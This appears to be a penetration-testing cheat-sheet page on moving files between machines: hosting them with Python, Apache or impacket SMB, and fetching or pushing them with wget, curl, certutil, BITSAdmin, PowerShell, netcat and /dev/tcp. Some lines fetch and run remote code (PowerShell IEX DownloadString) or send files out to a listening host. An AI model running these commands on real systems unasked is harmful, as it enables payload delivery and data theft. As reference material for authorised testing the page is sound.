Overview

Host files

SimpleHTTPServer

Start http server (default port is 8000, default path is current dir)

python -m http.server <port> -d <path>

Apache

Start apache

sudo systemctl start apache2

Default directory /var/www/html

SMB (impacket)

smbserver.py -smb2support <share-name> <local-folder>

FTP

Download files

wget

wget <ip>:<port>/file.txt

See also Wget

curl

curl -O http://host/file.txt

PowerShell

powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://www.xyz.net/file.txt', 'C:\tmp\file.txt')"
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<host>/<file>')"

certutil

certutil.exe -urlcache -split -f http://<host>/<file> <file>

VBScript

See VBScript: Wget clone

BITSAdmin

bitsadmin /transfer mydownloadjob /download /priority normal <url> <destination>

Send/retrieve files

netcat

nc -nlvp <port> > file
nc -nv <own-ip> <port> < file

Note: There is no feedback about the progress, or when/if the upload finished.

cat

cat <file> > /dev/tcp/<ip>/<port>
nc -lvnp <port> > <file>

Last updated